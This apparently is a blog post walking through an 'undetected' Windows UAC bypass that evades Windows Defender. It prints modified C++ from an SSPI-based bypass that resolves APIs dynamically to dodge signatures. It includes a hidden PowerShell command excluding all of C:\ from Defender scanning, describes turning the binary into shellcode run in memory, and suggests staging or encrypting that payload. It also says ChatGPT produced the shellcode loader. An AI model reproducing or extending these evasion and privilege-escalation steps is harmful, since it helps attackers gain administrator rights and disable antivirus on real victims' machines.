In this guide, I’ll walk you through an undetected User Account Control (UAC) bypass method I recently discovered. This technique is effective as of April 8, 2025, and leverages a combination of tools and modifications to evade detection by Windows Defender.
While researching UAC bypass methods on GitHub, I came across several common techniques, such as the fodhelper.exe and computerdefaults.exe bypasses. Although these methods still work, they are heavily flagged by heuristic detection systems, making them nearly impossible to execute without being blocked by Windows Defender.
This led me to explore alternative approaches, and I stumbled upon a promising project:
Bypassing UAC with SSPI Datagram Contexts
After downloading and compiling the project, I noticed that Windows Defender did not detect it during runtime. However, the executable was still flagged during static scans, meaning it would be detected if saved to disk.
To address the static detection issue, I analyzed the sspiUacBypass.exe using DefenderCheck, a tool that identifies the exact signatures Windows Defender flags. The tool revealed that the DLL imports and WinAPI function calls were the primary culprits.
To mitigate this, I modified the SspiUacBypass project to dynamically load DLLs instead of statically linking them:
int main(int argc, char* argv[])
{
// Resolve function pointers
HMODULE hAdvapi32 = LoadLibraryA("advapi32.dll");
HMODULE hSecur32 = LoadLibraryA("secur32.dll");
if (!hAdvapi32 || !hSecur32) {
exit(-1);
}
pOpenThreadToken = (PFN_OpenThreadToken)GetProcAddress(hAdvapi32, "OpenThreadToken");
pGetTokenInformation = (PFN_GetTokenInformation)GetProcAddress(hAdvapi32, "GetTokenInformation");
pImpersonateLoggedOnUser = (PFN_ImpersonateLoggedOnUser)GetProcAddress(hAdvapi32, "ImpersonateLoggedOnUser");
pRevertToSelf = (PFN_RevertToSelf)GetProcAddress(hAdvapi32, "RevertToSelf");
pAcquireCredentialsHandleW = (PFN_AcquireCredentialsHandleW)GetProcAddress(hSecur32, "AcquireCredentialsHandleW");
pFreeCredentialsHandle = (PFN_FreeCredentialsHandle)GetProcAddress(hSecur32, "FreeCredentialsHandle");
pInitializeSecurityContextW = (PFN_InitializeSecurityContextW)GetProcAddress(hSecur32, "InitializeSecurityContextW");
pAcceptSecurityContext = (PFN_AcceptSecurityContext)GetProcAddress(hSecur32, "AcceptSecurityContext");
pQuerySecurityContextToken = (PFN_QuerySecurityContextToken)GetProcAddress(hSecur32, "QuerySecurityContextToken");
pDeleteSecurityContext = (PFN_DeleteSecurityContext)GetProcAddress(hSecur32, "DeleteSecurityContext");
if (!pOpenThreadToken || !pGetTokenInformation || !pImpersonateLoggedOnUser || !pRevertToSelf ||
!pAcquireCredentialsHandleW || !pFreeCredentialsHandle || !pInitializeSecurityContextW ||
!pAcceptSecurityContext || !pQuerySecurityContextToken || !pDeleteSecurityContext) {
exit(-1);
}
char defaultCmdline[] = "powershell -WindowStyle Hidden -Command \"Set-MpPreference -ExclusionPath 'C:\\'\"";
This modification significantly reduced the static detections, but some signatures still remained. I then remembered I recently stumbled upon a EXE to Shellcode project on github called:
Clematis - A powerful tool for converting PE files (EXE/DLL) into position-independent shellcode
I fed the modified SspiUacBypass executable into Clematis, which produced a shellcode.bin file. Scanning this file with Windows Defender yielded zero detections! With the shellcode ready, the next step was to execute it in memory to avoid writing anything to disk.
So I went to chatgpt.com and asked gippity to generate me a simple program to execute shellcode in memory in c++. I took the first response gpt gave me and ran my shellcode.bin through its main method, and it worked! 0 detections on the shellcode executer!
To further improve this, you could stage this shellcode on a http server, or encrypt and embed it inside the resources of your payload. Since I ended up injecting the shellcode instead of dropping it to disk, it is probably not necessary to make the initial changes I made, I just wanted to show my discovery process.
3
No comments yet.
0 comments